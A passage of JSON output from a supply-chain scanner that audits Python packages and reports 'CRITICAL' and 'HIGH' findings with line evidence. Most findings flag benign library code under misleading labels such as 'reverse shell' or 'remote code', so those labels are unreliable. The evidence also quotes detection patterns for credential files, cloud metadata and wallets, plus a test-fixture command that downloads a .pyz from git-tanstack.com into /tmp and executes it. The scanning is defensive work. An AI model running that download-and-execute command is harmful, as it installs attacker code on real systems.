__import__(__package__ + '.fft')", "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "sentencepiece", "file": "sentencepiece/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" }, { "package": "sentencepiece", "file": "sentencepiece/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L772: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L777: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", "evidence_hash": "65b5a11cce128fe09b3f238c01bed7c883d1740d7d46d659118f67940f6c17dc" }, { "package": "setuptools", "file": "distutils-precedence.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" }, { "package": "setuptools", "file": "setuptools/_distutils/tests/test_build_ext.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" }, { "package": "setuptools", "file": "setuptools/_vendor/jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L154: __import__(module + '.' + submod)", "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" }, { "package": "tiktoken", "file": "tiktoken/load.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" }, { "package": "torch", "file": "functorch/dim/magic_trace.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" }, { "package": "torch", "file": "torch/_inductor/codecache.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" }, { "package": "torch", "file": "torch/_inductor/codecache.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", "evidence": "Base64: L1727: content = base64.b64decode(data)\nSubprocess: L3270: subprocess.run(\nL3271: cmd, capture_output=True, text=True, check=True\nL3272: ) | L3583: cmd_output = subprocess.run(\nL3584: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585: ) | L4338: out = subprocess.check_output(\nL4339: [\"ldd\", os.path.join(search, file)]\nL4340: ) | L4422: jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507: subprocess.check_call(\nL4508: shlex.split(halide_cmd_gen.get_command_line())\nL4509: ) | L4992: subprocess.check_output(\nL4993: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994: ) | L5247: output = subprocess.check_output(\nL5248: cmd_parts,\nL5249: stderr=subprocess.STDOUT,\nL5250: text=True,\nL5251: env=os.environ,\nL5252: )", "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06" }, { "package": "torch", "file": "torch/ao/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/intrinsic/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/distributed/elastic/multiprocessing/redirects.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L218: os.dup2(dst.fileno(), std_fd)", "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" }, { "package": "torch", "file": "torch/hub.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L4900: env = os.environ.copy()\nNetwork: L4962: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d", "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865" }, { "package": "torchvision", "file": "torchvision/datasets/utils.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" }, { "package": "traitlets", "file": "traitlets/config/loader.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L1699: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L288: value = os.environ[key] | L304: value = os.environ[key] | L2165: env = os.environ.copy() | L2287: for k in list(os.environ.keys()):\nNetwork: L2597: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" }, { "package": "transformers", "file": "transformers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "triton", "file": "triton/tools/build_extern.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" }, { "package": "trl", "file": "trl/extras/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" }, { "package": "trl", "file": "trl/extras/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" }, { "package": "trl", "file": "trl/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "trl", "file": "trl/_lazy_module.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L71: return importlib.import_module(\".\" + module_name, self.__name__)", "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "trl", "file": "trl/experimental/async_distillation/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L48: while True: sha256:925f5318e1a94b98c1d4e73ac0f2a10cd48b9e3d7fb78e789d4b9ac9d01ceea6", "evidence_hash": "5de7b25a3eafdadc8b50ae22fd4f599e09f12912c05ae595797292fcb68992fa" }, { "package": "trl", "file": "trl/experimental/async_grpo/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L48: while True: sha256:c3c21557aa82ba4593ff95c6934504bcb987ded9f67836ec1e2f371aa3166f52", "evidence_hash": "2d5cf3effabb28b1410203deed71a621301cce15e09dc1485b3b538b183184f8" }, { "package": "trl", "file": "trl/generation/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L179: while True: sha256:618a8410e4ed18d0486f68db559bc9f842d00f7e6926096c3e13602d7b8329ae", "evidence_hash": "6990d68d4bf3b5ffdcec612b4de9de6d2383ef9b1f0e80bc6a9ffc971b11c1b0" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Installs persistence AND makes network calls (backdoor pattern)", "severity": "CRITICAL", "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Targets cryptocurrency wallets AND makes network calls", "severity": "CRITICAL", "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" }, { "package": "unsloth-zoo", "file": "tests/test_convert_hf_to_gguf_patcher.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_save_export_regressions.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37", "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81" }, { "package": "unsloth-zoo", "file": "tests/test_quantize_gguf_q2_k_l.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad", "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b" }, { "package": "unsloth-zoo", "file": "tests/test_upstream_pinned_symbols_transformers.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/device_type.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/device_type.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L143: value = os.environ.get(key, \"\") | L488: mask = os.environ.get(key)\nNetwork: L43: import urllib.request | L88: request = urllib.request.Request(\nL89: index_url,\nL90: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL91: method = method,\nL92: ) | L93: with urllib.request.urlopen(request, timeout = 2.5) as response: | L106: request = urllib.request.Request(\nL107: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL108: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL109: ) | L110: with urllib.request.urlopen(request, timeout = 2.5) as response:", "evidence_hash": "67ce770778ee30ce7d0c593ec3062d2cedf799ee03b7bdbbbcb4f23360e51979", "file_sha256": "ac71f215cb44d44a4f3b5b9c212c57833b3675f1303ac33ff66685b800b1b45b" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/device_type.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L143: value = os.environ.get(key, \"\") | L483: mask = os.environ.get(key)\nNetwork: L43: import urllib.request | L88: request = urllib.request.Request(\nL89: index_url,\nL90: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL91: method = method,\nL92: ) | L93: with urllib.request.urlopen(request, timeout = 2.5) as response: | L106: request = urllib.request.Request(\nL107: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL108: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL109: ) | L110: with urllib.request.urlopen(request, timeout = 2.5) as response:", "evidence_hash": "67ce770778ee30ce7d0c593ec3062d2cedf799ee03b7bdbbbcb4f23360e51979", "file_sha256": "9c6d8ea14405b41289cb15a69f2ea65925b0eaa609605a2e430ec3a68c5fb3b4" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L705: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L713: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1721: response = requests.get(\nL1722: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1723: ) | L3227: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "edc8fe3789a3596f458bb345b7bce4ad0e8752b3f4aba0bdfe9a70e41b60a658" }, { "package": "urllib3", "file": "urllib3/util/ssl_.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" }, { "package": "attrs", "file": "attr/_make.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" }, { "package": "beartype", "file": "beartype/_util/func/utilfuncmake.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" }, { "package": "botocore", "file": "botocore/vendored/six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" }, { "package": "cffi", "file": "cffi/_cffi_gen_src.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L52: compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53: exec(compiled, globs, globs)", "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9" }, { "package": "cffi", "file": "cffi/setuptools_ext.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" }, { "package": "ddgs", "file": "ddgs/dht/libp2p_client.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" }, { "package": "dill", "file": "dill/_dill.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), 